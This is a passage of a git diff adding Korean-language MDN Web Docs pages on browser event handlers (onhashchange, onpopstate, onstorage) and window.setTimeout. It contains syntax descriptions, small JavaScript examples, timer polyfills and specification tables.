+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("storage")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
+ <dd>An event handler for unhandled {{jsxref("Promise")}} rejection events.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("unload")}} event is raised.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface defines no method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'WindowEventHandlers')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'WindowEventHandlers')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onlanguage</code> since the {{SpecName("HTML5 W3C")}} snapshot.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "WindowEventHandlers")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowEventHandlers</code> (properties where on the target before it).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.WindowEventHandlers")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}} and {{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/ko/web/api/windoweventhandlers/onhashchange/index.html b/files/ko/web/api/windoweventhandlers/onhashchange/index.html
new file mode 100644
index 0000000000..1a9f932360
--- /dev/null
+++ b/files/ko/web/api/windoweventhandlers/onhashchange/index.html
@@ -0,0 +1,159 @@
+---
+title: WindowEventHandlers.onhashchange
+slug: Web/API/WindowEventHandlers/onhashchange
+tags:
+ - HTML-DOM
+ - Property
+ - Reference
+ - WindowEventHandlers
+translation_of: Web/API/WindowEventHandlers/onhashchange
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+
+<div>{{domxref("WindowEventHandlers")}} 믹스인의 <strong>WindowEventHandlers.onhashchange</strong> 속성은 </div>
+</div>
+
+<p><strong>hashchange </strong>이벤트를 처리하기 위한 {{domxref("EventHandler")}} 입니다.</p>
+
+<p>hashchange 이벤트는 윈도우의 해시가 변경되면 시작됩니다. ( {{domxref("Window.location")}} 및 {{domxref("HTMLHyperlinkElementUtils.hash")}} 참조)</p>
+
+<h2 id="문법">문법</h2>
+
+<p><strong>event handler:</strong></p>
+
+<pre class="syntaxbox">window.onhashchange = funcRef;
+</pre>
+
+<p><strong>HTML event handler:</strong></p>
+
+<pre class="syntaxbox">&lt;body onhashchange="funcRef();"&gt;
+</pre>
+
+<p><strong>event listener:</strong></p>
+
+<p>{{domxref("EventTarget.addEventListener()", "addEventListener()")}}를 사용하여 이벤트 리스너 추가하기</p>
+
+<pre class="syntaxbox">window.addEventListener("hashchange", funcRef, false);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>funcRef</code></dt>
+ <dd>함수에 대한 참조.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="event_handler_사용하기">event handler 사용하기</h3>
+
+<p>This example uses an event handler (<code>window.onhashchange</code>) to check the new hash value whenever it changes. If it equals <code>#cool-feature</code>, the script logs a message to the console.</p>
+
+<pre><code>function locationHashChanged() {
+ if (location.hash === '#cool-feature') {
+ console.log("You're visiting a cool feature!");
+ }
+}
+
+window.onhashchange = locationHashChanged;</code>
+</pre>
+
+<h3 id="Using_an_event_listener">Using an event listener</h3>
+
+<p>이 예제는 이벤트 리스너를 사용하여 해시가 변경 될 때마다 콘솔에 알림표시합니다.</p>
+
+<pre><code>function hashHandler() {
+ console.log('The hash has changed!');
+}
+
+window.addEventListener('hashchange', hashHandler, false);</code></pre>
+
+<h3 id="Overriding_the_hash">Overriding the hash</h3>
+
+<p>이 함수는 새로운 해시를 동적으로 설정하여 임의로 두 값 중 하나로 설정합니다.</p>
+
+<pre><code>function changeHash() {
+ location.hash = (Math.random() &gt; 0.5) ? 'location1' : 'location2';
+}</code>
+</pre>
+
+<h2 id="hashchange_이벤트">hashchange 이벤트</h2>
+
+<p><code>hashchange</code> 이벤트에는 다음과 같은 필드가 있습니다:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Field</td>
+ <td class="header">Type</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td><code>newURL</code> {{gecko_minversion_inline("6.0")}}</td>
+ <td><code>DOMString</code></td>
+ <td>탐색할 새로운 URL입니다.</td>
+ </tr>
+ <tr>
+ <td><code>oldURL</code> {{gecko_minversion_inline("6.0")}}</td>
+ <td><code>DOMString</code></td>
+ <td>탐색했던 이전의 URL입니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="제2의_해결책을_위한_event.newURL_와_event.oldURL">제2의 해결책을 위한 event.newURL 와 event.oldURL</h3>
+
+<pre class="brush:js">//let this snippet run before your hashchange event binding code
+if(!window.HashChangeEvent)(function(){
+ var lastURL=document.URL;
+ window.addEventListener("hashchange",function(event){
+ Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
+ Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
+ lastURL=document.URL;
+ });
+}());
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("api.WindowEventHandlers.onhashchange")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/hashchange_event">hashchange</a></code> event</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history" title="DOM/Manipulating the browser history">Manipulating the browser history</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/DOM/window.history" title="DOM/window.history"><code>history.pushState()</code> and <code>history.replaceState()</code></a> methods</li>
+ <li>{{domxref("WindowEventHandlers.onpopstate")}}</li>
+ <li>{{domxref("HTMLHyperlinkElementUtils.hash")}}</li>
+</ul>
diff --git a/files/ko/web/api/windoweventhandlers/onpopstate/index.html b/files/ko/web/api/windoweventhandlers/onpopstate/index.html
new file mode 100644
index 0000000000..4da830dbe2
--- /dev/null
+++ b/files/ko/web/api/windoweventhandlers/onpopstate/index.html
@@ -0,0 +1,57 @@
+---
+title: WindowEventHandlers.onpopstate
+slug: Web/API/WindowEventHandlers/onpopstate
+translation_of: Web/API/WindowEventHandlers/onpopstate
+---
+<div>{{APIRef}} {{gecko_minversion_header("2")}}</div>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>window의 popstate 이벤트 핸들러</p>
+
+<p>같은 document에 관한 두개의 히스토리 엔트리에 변화가 일어날 때마다, popstate event가 window 객체에 붙게 된다. 만약 활성화된 엔트리가 history.pushState() 메서드나 history.replaceState() 메서드에 의해 생성되면, popstate 이벤트의 state 속성은 히스토리 엔트리 state 객체의 복사본을 갖게 된다.</p>
+
+<p>history.pushState() 또는 history.replaceState()는 popstate 이벤트를 발생시키지 않는 것에 유의한다.popstate 이벤트는 브라우저의 백 버튼이나 (history.back() 호출) 등을 통해서만 발생된다. 그리고 그 이벤트는 같은 document에서 두 히스토리 엔트리 간의 이동이 있을 때만 발생이 된다.</p>
+
+<p>브라우저는 popstate 이벤트를 페이지 로딩시에 다르게 처리한다. Chrome(v34 이전버전) 와 Safari는 popstate 이벤트를 페이지 로딩시에 발생시킨다. 하지만 Firefox 는 그렇지 않다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox">window.onpopstate = <var>funcRef</var>;
+</pre>
+
+<ul>
+ <li><var>funcRef는 이벤트 핸들러 함수다.</var></li>
+</ul>
+
+<h2 id="The_popstate_event" name="The_popstate_event">popstate 이벤트</h2>
+
+<p>예시를 보자, 다음의 코드를 실행하는 <code><var>http://example.com/example.html</var></code>의 한 페이지는 주석에 쓰여있는 경고들을 발생시킨다.</p>
+
+<pre class="brush:js">window.onpopstate = function(event) {
+ alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // alerts "location: http://example.com/example.html, state: null
+history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3}
+</pre>
+
+<p>원래의 히스토리 엔트리인 (<code><var>http://example.com/example.html</var></code>) 에 이와 연관된 state 객체가 없더라도, 두번째 history.back() API 호출 후 엔트리를 활성화 시키면 popstate 이벤트는 여전히 발생된다.</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#handler-window-onpopstate">HTML5 popstate event</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.history")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history">Manipulating the browser history</a></li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example">Ajax navigation example</a></li>
+</ul>
diff --git a/files/ko/web/api/windoweventhandlers/onstorage/index.html b/files/ko/web/api/windoweventhandlers/onstorage/index.html
new file mode 100644
index 0000000000..8490ff6119
--- /dev/null
+++ b/files/ko/web/api/windoweventhandlers/onstorage/index.html
@@ -0,0 +1,64 @@
+---
+title: WindowEventHandlers.onstorage
+slug: Web/API/WindowEventHandlers/onstorage
+tags:
+ - API
+ - Event Handler
+ - Property
+ - Reference
+ - Web Storage
+ - WindowEventHandlers
+translation_of: Web/API/WindowEventHandlers/onstorage
+---
+<div class="syntaxbox">{{APIRef}}</div>
+
+<p>{{domxref("WindowEventHandlers")}} 믹스인의 <strong><code>onstorage</code></strong> 속성은 <code><a href="/ko/docs/Web/API/Window/storage_event">storage</a></code> 이벤트를 처리하는 {{domxref("EventHandler")}}입니다.</p>
+
+<p><code>storage</code> 이벤트는 다른 문서에서 저장소를 변경했을 때 발생합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em> </em><em>window</em>.onstorage = <em>functionRef</em>;</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>functionRef</code>는 함수 이름 혹은 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">함수 표현식</a>으로, 단일 매개변수로써 {{domxref("StorageEvent")}}를 받습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 다른 문서에서 저장소 키를 바꿀 때마다 메시지를 기록합니다.</p>
+
+<pre class="brush: js notranslate">window.onstorage = function(e) {
+ console.log('The ' + e.key +
+ ' key has been changed from ' + e.oldValue +
+ ' to ' + e.newValue + '.');
+};</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','webappapis.html#handler-window-onstorage','onstorage')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.WindowEventHandlers.onstorage")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Window/storage_event">Window: <code>storage</code> 이벤트</a></li>
+</ul>
diff --git a/files/ko/web/api/windowtimers/settimeout/index.html b/files/ko/web/api/windowtimers/settimeout/index.html
new file mode 100644
index 0000000000..7b338a83fa
--- /dev/null
+++ b/files/ko/web/api/windowtimers/settimeout/index.html
@@ -0,0 +1,429 @@
+---
+title: WindowTimers.setTimeout()
+slug: Web/API/WindowTimers/setTimeout
+tags:
+ - setTimeout
+translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>타이머가 만료된 뒤 함수나 지정된 코드를 실행하는 타이머를 설정합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>var timeoutID</em> = window.setTimeout(<em>func</em>[, <em>delay</em>, <em>param1</em>, <em>param2</em>, ...]);
+<em>var timeoutID</em> = window.setTimeout(<em>code</em>[, <em>delay</em>]);
+window.setTimeout(function, milliseconds);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code id="func">func</code></dt>
+ <dd>{{jsxref("function")}}이 타이머가 만료된 뒤 실행됩니다.</dd>
+ <dt><code>code</code></dt>
+ <dd>선택적 구문으로 함수 대신에 문자열을 넣을 수 있는데, 이것은 타이머가 만료된 뒤 해석되고 실행됩니다.<br>
+ 이 구문은 {{jsxref("Global_Objects/eval", "eval()")}}을 사용하는 것과 같은 <strong>보안 위험성</strong>을 이유로 <strong>권장되지 않습니다.</strong></dd>
+ <dt><code>delay</code> {{optional_inline}}</dt>
+ <dd>타이머가 지정된 함수나 코드를 실행시키기 전에 기다려야할 ms(1000분의 1초) 단위의 시간입니다.<br>
+ 만약 이 매개변수를 생략하면, 0이 값으로 사용됩니다. 실제 지연시간은 더 길어질 수 있습니다;<br>
+ 아래 {{anch("Reasons for delays longer than specified")}}를 참고하세요.</dd>
+ <dt><code>param1, ..., paramN</code> {{optional_inline}}</dt>
+ <dd>타이머가 만료되고 {{anch("func")}}에 전달되는 추가적인 매개변수들입니다.</dd>
+</dl>
+
+<div class="note">
+<p>Internet Explorer 9 이하에서는 함수에 추가적인 매개변수들을 전달하는 기능이 동작하지 않습니다.<br>
+ 만약 브라우저에서 이 기능을 사용하고 싶다면, {{anch("polyfill")}}을 사용하세요. (<a href="#Callback_arguments">Callback arguments</a>를 봐주세요)</p>
+</div>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>반환되는 <code>timeoutID</code>는 숫자이고, <code>setTimeout()</code>을 호출하여 만들어진 타이머를 식별할 수 있는 0이 아닌 값 입니다;<br>
+ 이 값은 타이머를 취소시키기 위해 {{domxref("WindowTimers.clearTimeout()")}}에 전달할 수도 있습니다.</p>
+
+<p><code>setTimeout()과</code> {{domxref("WindowTimers.setInterval", "setInterval()")}}는 같은 ID 공간을 공유하기 때문에, <code>clearTimeout()과 </code>{{domxref("WindowTimers.clearInterval", "clearInterval()")}} 둘 중 어느 것을 사용해도 기술적으로 동일하게 동작합니다.<br>
+ 하지만 명확성을 위해, 코드를 유지보수할 때 혼란을 피하기 위해 항상 일치시켜야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 웹 페이지에 2개의 간단한 버튼을 설정하고 <code>setTimeout()과</code> <code>clearTimeout()에 연결합니다</code>.<br>
+ 첫 번째 버튼이 눌려지면 2초 뒤에 호출되는 타임아웃이 설정되고 <code>clearTimeout()</code>에 사용되는 ID가 저장됩니다.<br>
+ 두 번째 버튼을 누름으로써 당신은 선택적으로 이 타임아웃을 취소할 수 있습니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Live Example&lt;/p&gt;
+&lt;button onclick="delayedAlert();"&gt;Show an alert box after two seconds&lt;/button&gt;
+&lt;p&gt;&lt;/p&gt;
+&lt;button onclick="clearAlert();"&gt;Cancel alert before it happens&lt;/button&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var timeoutID;
+
+function delayedAlert() {
+ timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+ alert("That was really slow!");
+}
+
+function clearAlert() {
+ window.clearTimeout(timeoutID);
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('Example')}}<br>
+ <a href="/en-US/docs/Web/API/WindowTimers/clearTimeout#Example"><code>clearTimeout() 예제</code></a>도 봐주세요.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>하나 이상의 매개변수를 콜백 함수에 넘겨야 하는데, <code>setTimeout()</code> 또는 <code>setInterval()</code>을 사용하여 추가적인 매개변수를 보내는 것을 브라우저에서 지원하지 않는다면<code>(e.g. </code>Internet Explorer 9 이하<code>)</code>, HTML5 표준 매개변수 전달 기능을 사용 가능하게 하는 이 polyfill을 넣을 수 있습니다. 그저 아래 코드를 스크립트를 상단에 작성해주시면 됩니다.</p>
+
+<pre class="brush: js">/*\
+|*|
+|*| 임의의 매개변수를 자바스크립트 타이머의 콜백함수에 전달하기 위한 Polyfill (HTML5 표준 명세).
+|*|
+|*| https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*| Syntax:
+|*| var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*| var timeoutID = window.setTimeout(code, delay);
+|*| var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*| var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+(function() {
+  setTimeout(function(arg1) {
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeST__ = window.setTimeout;
+    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeST__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+
+  var interval = setInterval(function(arg1) {
+    clearInterval(interval);
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeSI__ = window.setInterval;
+    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeSI__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+}())
+</pre>
+
+<h2 id="IE">IE</h2>
+
+<p>IE9 이하를 포함하는 모든 모바일/데스크톱 브라우저에서 자바스크립트를 남용하지 않는 완벽한 해결책으로 , JavaScript 조건부 주석을 사용할 수 있습니다:</p>
+
+<pre class="brush: js">/*@cc_on
+ // conditional IE &lt; 9 only fix
+ @if (@_jscript_version &lt;= 9)
+ (function(f){
+ window.setTimeout=f(window.setTimeout);
+ window.setInterval=f(window.setInterval);
+ })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
+ @end
+@*/
+</pre>
+
+<p>혹은 IE HTML 조건부 기능을 기반으로 깔끔하게 접근할 수 있습니다:</p>
+
+<pre class="brush: html">&lt;!--[if lte IE 9]&gt;&lt;script&gt;
+(function(f){
+window.setTimeout=f(window.setTimeout);
+window.setInterval=f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
+});
+&lt;/script&gt;&lt;![endif]--&gt;
+</pre>
+
+<h2 id="예시">예시</h2>
+
+<p>다른 해결책으로는 익명 함수를 callback으로 호출하여 사용할 수 있으나, 이 방법은 비용이 더 비쌉니다.</p>
+
+<pre class="brush: js">var intervalID = setTimeout(function() { myFunc("one", "two", "three"); }, 1000);
+</pre>
+
+<p>위 예제는 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function</a>으로도 작성하실 수 있습니다.</p>
+
+<pre class="brush: js">var intervalID = setTimeout(() =&gt; { myFunc("one", "two", "three"); }, 1000);
+</pre>
+
+<p>다른 하나는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">function's <code>bind</code></a>를 이용하는 것 입니다.</p>
+
+<pre class="brush: js">setTimeout(function(arg1){}.bind(undefined, 10), 1000);
+</pre>
+
+<h2 id="this_문제">"<code>this</code>" 문제</h2>
+
+<p><code>setTimeout()</code>에 매개변수(혹은 다른 함수)를 전달할 때, 당신의 기대와는 다르게 this의 값이 호출될 것이다. 해당 이슈에 대한 자세한 사항은 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this#As_an_object_method">JavaScript reference</a>를 참고해주세요.</p>
+
+<h3 id="설명">설명</h3>
+
+<p><code>setTimeout()</code>에 의해 실행된 코드는 별도의 실행 컨텍스트에서 <code>setTimeout</code>이 호출된 함수로 호출됩니다.  호출된 함수에 대해서는 <code>this</code> 키워드를 설정하는 일반적인 규칙이 적용되며, this를 설정 혹은 할당하지 않은 경우, non-strict 모드에서 전역(혹은 <code>window</code>) 객체, strict모드에서 undefined를 기본 값으로 합니다. 다음 예제를 봐주세요: </p>
+
+<pre class="brush: js">myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+ alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"</pre>
+
+<p>위와 같이 동작하는 이유는 <code>myMethod</code> 호출될 때, <code>this</code>는 <code>myArray</code>로 설정되므로, 함수 내에서의 <code>this[</code>속성<code>]</code>은 <code>myArray[</code>속성<code>]</code>와 같습니다. 하지만, 다음 예제를 보면:</p>
+
+<pre class="brush: js">setTimeout(myArray.myMethod, 1000); // 1초 뒤 "[Window 객체]" 출력
+setTimeout(myArray.myMethod, 1500, "1"); // 1.5초 뒤 "undefined" 출력</pre>
+
+<p><code>myArray.myMethod</code> 함수는 <code>setTimeout</code>에 전달되고, 호출될 때 t<code>his</code>는 설정되어 있지 않아 window 객체를 기본값으로 합니다. forEach, reduce 등 Array 메서드 같이 <code>this</code>를 매개변수로 넘길 수 있는 옵션 또한 없습니다. 그리고 아래에서 보다시피, <code>call<font face="Open Sans, Arial, sans-serif">을</font> </code>사용해<code> this</code>를 설정하는 것도 동작하지 않습니다.</p>
+
+<pre class="brush: js">setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+</pre>
+
+<h3 id="가능한_해결책">가능한 해결책</h3>
+
+<p>일반적인 해결책은 this 설정이 필요한 곳을 함수로 감싸는 것(Wrapper Function) 입니다:</p>
+
+<pre class="brush: js">setTimeout(function(){myArray.myMethod()}, 2000); // 2초 뒤"zero,one,two" 출력
+setTimeout(function(){myArray.myMethod('1')}, 2500); // 2.5초 뒤"one" 출력</pre>
+
+<p>화살표 함수(Arrow Function) 역시 가능한 대안입니다:</p>
+
+<pre class="brush: js">setTimeout(() =&gt; {myArray.myMethod()}, 2000); // 2초 뒤 "zero,one,two" 출력
+setTimeout(() =&gt; {myArray.myMethod('1')}, 2500); // 2.5초 뒤 "one" after 2.5 출력</pre>
+
+<p><code>this</code> 문제를 해결하는 또다른 방법은 전역함수 <code>setTimeout()<font face="Open Sans, Arial, sans-serif">과 </font></code><code>setInterval()<font face="Open Sans, Arial, sans-serif">를 </font></code><code>this</code> 객체를 전달할 수 있는 전역함수로 대체하고 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">Function.prototype.call</a></code>을 사용하여 콜백을 설정합니다:</p>
+
+<pre class="brush: js">// Enable setting 'this' in JavaScript timers
+
+var __nativeST__ = window.setTimeout,
+  __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+ var oThis = this,
+  aArgs = Array.prototype.slice.call(arguments, 2);
+ return __nativeST__(vCallback instanceof Function ? function () {
+ vCallback.apply(oThis, aArgs);
+ } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+ var oThis = this,
+  aArgs = Array.prototype.slice.call(arguments, 2);
+ return __nativeSI__(vCallback instanceof Function ? function () {
+ vCallback.apply(oThis, aArgs);
+ } : vCallback, nDelay);
+};</pre>
+
+<div class="note">위 2개의 대안들은 IE의 타이 콜백함수에 임의의 매개변수를 전달하는 HTML5 표준 또한 가능하게 합니다.</div>
+
+<p>새로운 기능 테스트:</p>
+
+<pre class="brush: js">myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+ alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2.5 seconds
+</pre>
+
+<div class="note">JavaScript 1.8.5은 주어진 함수에 대한 모든 호출의 this 값을 설정하기 위한 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind()</a></code> 메서드를 도입하였습니다. 이렇게 하면 wrapper 함수를 사용하지 않고 콜백에 this 값을 설정할 수 있습니다.</div>
+
+<p><code>bind()</code>를 사용한 예제:</p>
+
+<pre class="brush: js">myArray = ["zero", "one", "two"];
+myBoundMethod = (function (sProperty) {
+ console.log(arguments.length &gt; 0 ? this[sProperty] : this);
+}).bind(myArray);
+
+myBoundMethod(); // prints "zero,one,two" because 'this' is bound to myArray in the function
+myBoundMethod(1); // prints "one"
+setTimeout(myBoundMethod, 1000); // still prints "zero,one,two" after 1 second because of the binding
+setTimeout(myBoundMethod, 1500, "1"); // prints "one" after 1.5 seconds
+</pre>
+
+<h2 id="참고">참고</h2>
+
+<p>Timeout은 {{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}을 사용하면 취소됩니다. 함수를 반복해서 호출해야 한다면 (e.g., N 밀리초마다), {{domxref("WindowOrWorkerGlobalScope.setInterval()")}} 사용을 고려해보세요.</p>
+
+<p><code>setTimeout()을</code> 호출한 쓰레드가 종료될 때까지 함수나 코드 조각이 실행될 수 없다는 점에 유의해야합니다. 예를들어:</p>
+
+<pre class="brush: js">function foo(){
+ console.log('foo has been called');
+}
+setTimeout(foo, 0);
+console.log('After setTimeout');</pre>
+
+<p>콘솔에 이렇게 쓰여질겁니다:</p>
+
+<pre class="brush: js">After setTimeout
+foo has been called</pre>
+
+<p>그 이유는 <code>setTimeout가 지연시간 0으로</code> 호출되었지만, queue에 배치되어 다음 기회에 실행되도록 예정되기 때문입니다. 현재 실행중인 코드는 queue에 있는 함수들이 실행되기 전에 완료되고, 실행 순서가 예상과 다를 수 있습니다.</p>
+
+<h3 id="문자열을_넘길경우">문자열을 넘길경우</h3>
+
+<p> <code>setTimeout()</code>에<code> </code>함수대신 문자열을 넘기면 <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/eval#Don.27t_use_eval.21">eval</a> </code>사용했을 때와 같은 위험성을 가집니다<code>. </code></p>
+
+<pre class="brush: js">// 권장
+window.setTimeout(function() {
+ alert("Hello World!");
+}, 500);
+
+// 비권장
+window.setTimeout("alert('Hello World!');", 500);
+</pre>
+
+<p><code>setTimeout</code>에 전달된 문자열은 전역 context에서 해석하므로, <code>setTimeout()</code>이 호출된 로컬 context의 Symbol은 문자열이 코드로 해석될 때 사용할 수 없습니다.</p>
+
+<h3 id="지정된_것보다_더_오래_지연되는_이유">지정된 것보다 더 오래 지연되는 이유</h3>
+
+<p>타임아웃이 예상보다 더 늦게까지 지연되는 데는 여러가지 이유가 있습니다. 이 문단에서는 일반적인 이유에 대해서 설명합니다.</p>
+
+<h4 id="중첩된_타임아웃이_4ms_이하일_경우">중첩된 타임아웃이 4ms 이하일 경우</h4>
+
+<p><a class="external" href="http://code.google.com/p/chromium/issues/detail?id=792#c10">역사적으로</a> 브라우저들은 <code>setTimeout()</code> "clamping"을 구현했습니다: "최소 지연" 한계보다 작은 지연을 가진 <code>setTimeout() 호출은</code> 최소 지연을 사용하도록 강제됩니다.</p>
+
+<p>실제로, 4ms는 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#timers">HTML5 스펙에 명시되어 있고</a> 2010년 이후에 출시된 브라우저들은 일관성을 유지하고 있습니다. {{geckoRelease("5.0")}} 이전에 출시된 브라우저들은, 타임아웃(중첩 5이상)의 최소 지연시간은 10ms였습니다.</p>
+
